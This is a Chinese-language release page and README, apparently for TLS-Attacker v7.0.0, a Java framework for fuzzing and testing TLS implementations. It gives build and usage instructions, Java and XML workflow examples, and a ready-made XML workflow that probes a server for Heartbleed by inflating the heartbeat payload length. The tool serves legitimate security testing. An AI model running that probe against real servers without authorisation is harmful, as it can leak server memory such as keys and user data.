返回更新列表
新发布Jul 31, 2026

TLS-Attacker v7.0.0-rtc

基于Java的框架,用于对TLS库进行系统化模糊测试和分析。支持任意协议消息的构造、修改以及对TLS客户端/服务器进行漏洞发现测试。

分享

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker 是一个基于 Java 的框架,用于分析 TLS 库。它能够以任意顺序向 TLS 对等端发送任意协议消息,并通过提供的接口定义其修改。这使开发人员能够轻松定义自定义 TLS 协议流程,并针对其 TLS 库进行测试。

请注意: TLS-Attacker 是一个面向 TLS 开发人员和渗透测试者的研究工具。没有图形界面,也没有绿灯/红灯指示。

编译与运行

为了编译和使用 TLS-Attacker,你需要安装 Java 和 Maven。在 Ubuntu 上,可以通过运行以下命令安装 Maven:

$ sudo apt-get install maven

TLS-Attacker 目前需要 Java JDK 21 才能运行。

如果你有正确的 Java 版本,可以从 TLS-Attacker 目录运行 Maven 命令:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

或者,如果你赶时间,可以通过以下命令跳过测试:

$ mvn clean install -DskipTests=true

生成的 jar 文件位于 "apps" 文件夹中。

如果你想将此项目作为依赖项使用,则无需自行编译,可以直接按如下方式将其包含在你的 pom.xml 中。

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker 附带了一些演示应用程序,可让你轻松访问 TLS-Attacker 的功能。

你可以使用以下命令将 TLS-Attacker 作为客户端运行:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

或者作为服务器运行:

$ java -jar TLS-Server.jar -port [port]

尽管这些示例应用程序本身非常强大,但 TLS-Attacker 在作为编程库使用时才能发挥其全部潜力。

代码结构

TLS-Attacker 由多个(Maven)项目组成:

  • TLS-Client:客户端示例应用程序
  • TLS-Core:协议栈和 TLS-Attacker 的核心
  • TLS-Mitm:用于中间人工作流的原型
  • TLS-Server:服务器示例应用程序
  • TLS-Proxy:将 TLS-Attacker 用于 SSLSockets
  • TraceTool:检查并修改 TLS-Attacker 工作流跟踪
  • Transport:用于底层协议的传输工具
  • Utils:工具类集合

TLS-Attacker 设计

你可以在 Wiki 中找到有关这些模块的更多信息。

功能特性

目前支持以下功能:

  • SSL 3、TLS 版本 1.0(RFC-2246)、1.1(RFC-4346)、1.2(RFC-5246)和 1.3(RFC-8446)
  • SSL 2(部分支持)
  • (EC)DH(E)、RSA、PSK、SRP、GOST 和 ANON 密钥交换算法
  • CBC、AEAD 和流密码(AES、CAMELLIA、DES、3DES、IDEA、RC2、ARIA、GOST_28147_CNT_IMIT、RC4、SEED、NULL)
  • 约 300 种密码套件,约 30 种扩展
  • 客户端和服务器
  • HTTPS
  • 包含超过两方的工作流
  • 大量扩展
  • 令牌绑定(EC)和基于 HTTP 的令牌绑定
  • Socket
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

使用示例

这里我们提供一些使用 TLS-Attacker 的简单示例。

首先,你需要启动一个 TLS 服务器(请不要使用公共服务器)。如果之前没有运行过 keygen.sh 脚本,请先运行。例如,你可以使用 OpenSSL 测试服务器:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

此命令在 4433 端口上启动一个 TLS 服务器。

如果你想连接到一个服务器,可以使用以下命令:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

注意:如果此握手失败,很可能是因为你没有指定具体的密码套件。TLS-Attacker 不会完全尊重服务器选择的密码套件。

你可以使用不同的密码套件、TLS 版本,或连接到不同的端口,使用以下参数:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

如果你是一位更有经验的开发者,你可以通过编写 Java 代码来创建自己的 TLS 消息流。例如:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker 使用 WorkflowTrace 的概念来定义“TLS 消息流”。WorkflowTrace 由一系列动作组成,这些动作会依次执行。虽然典型的“TLS 消息流”只需要 SendAction 和 ReceiveAction,但框架并不止于此,还实现了许多其他不同的动作,可用于执行更加任意的消息流。当前已实现的动作列表及其说明可以在 Wiki 中找到。

我们知道很多人不喜欢 Java。因此,你也可以使用 XML 结构,并通过 XML 运行自定义的 TLS 协议:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- 发送 ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- 接收服务器响应 -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- 发送客户端密钥交换并完成 -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- 接收服务器完成消息 -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

假设此 XML 结构位于 TLS-Attacker/apps/workflow.xml,你只需执行:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

协议攻击者/分层系统

TLS-Attacker 最初设计用于攻击 TLS 协议,但它也能够支持任意协议。为此,TLS-Attacker 为每个连接分配一个层栈。这个层栈由用户希望使用的不同协议层组成。通过层栈,用户可以按任意顺序添加 DTLS 或 HTTP(更多协议正在开发中)等层。

要使用层栈发送和接收任意消息,用户可以为每一层定义配置。这些配置指定了要发送或接收的消息。这也允许用户为每一层指定特定于该层的消息/数据容器。例如,用户可以指定 TLS-Attacker 应该发送的 TLS 消息和记录。TLS-Attacker 会自动将给定的 TLS 消息封装到记录中。

可修改变量

TLS-Attacker 使用可修改变量的概念,允许在运行时对预定义工作流进行修改。可修改变量允许在基本类型的值实际设置之前或之后对其进行修改。当确定其实际值并尝试通过 getter 访问该值时,原始值将以相应的修改形式返回。有关此概念的更多详细信息,请访问 https://github.com/tls-attacker/ModifiableVariable。

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

在此示例中,我们定义了一个新的 ModifiableInteger 并将其值设置为 30。接下来,我们定义了一个新的修改 AddModification,它简单地返回两个整数的和。我们将其值设置为 20。如果执行上述程序,将输出结果 50。

当然,我们可以在构建 TLS 工作流时使用这个概念。想象一下,你想测试服务器是否存在心血漏洞。为此,你需要在心跳请求中增加有效载荷长度。使用 TLS-Attacker,你可以按如下方式操作:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

如你所见,我们明确将心跳消息的有效载荷长度增加了 20000。 如果你对易受攻击的服务器(例如 OpenSSL 1.0.1f)运行此攻击,应该会看到有效的心跳响应。

更多攻击示例和关于 TLS-Attacker 的进一步说明可以在 wiki 中找到。

高级功能

某些动作需要上下文或配置才能正确执行。例如,如果 TLS-Attacker 尝试发送 ClientHello 消息,它需要知道要在消息中放入哪些值,例如使用哪些密码套件或协议版本。TLS-Attacker 从配置文件中获取这些信息(默认位于 TLS-Core/src/main/resources/default_config.xml)。运行时确定的值存储在 TlsContext 中。如果通常从上下文中选择的值缺失(因为尚未收到消息),则会从 Config 中选择默认值。你可以通过命令行使用 "-config" 参数指定自己的配置文件。请注意,如果你没有在配置文件中显式定义默认值,TLS-Attacker 会使用硬编码值(这些值与提供的默认配置相同)来填补空缺。有关如何自定义 TLS-Attacker 的更多细节可以在 wiki 中找到。

致谢

我们感谢所有为 TLS-Attacker 项目做出贡献的人。

特别感谢以下人员作出的显著贡献:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

欢迎进一步的贡献和拉取请求。

科学论文

TLS-Attacker 的基本概念以及几种攻击在以下论文中有所描述:

下面,我们列出近期利用 TLS-Attacker 进行的科学研究。你可以在 Wiki 中找到完整列表。

如果你有任何研究想法或需要支持,请随时通过 Twitter(@ic0nz1, @jurajsomorovsky, @marcelmaehren, @nerinola1, @JonSnowWhite2)或访问 https://www.hackmanit.de/ 联系我们。

如果 TLS-Attacker 帮助你发现了 TLS 实现中的错误,请认可此工具。谢谢!

分类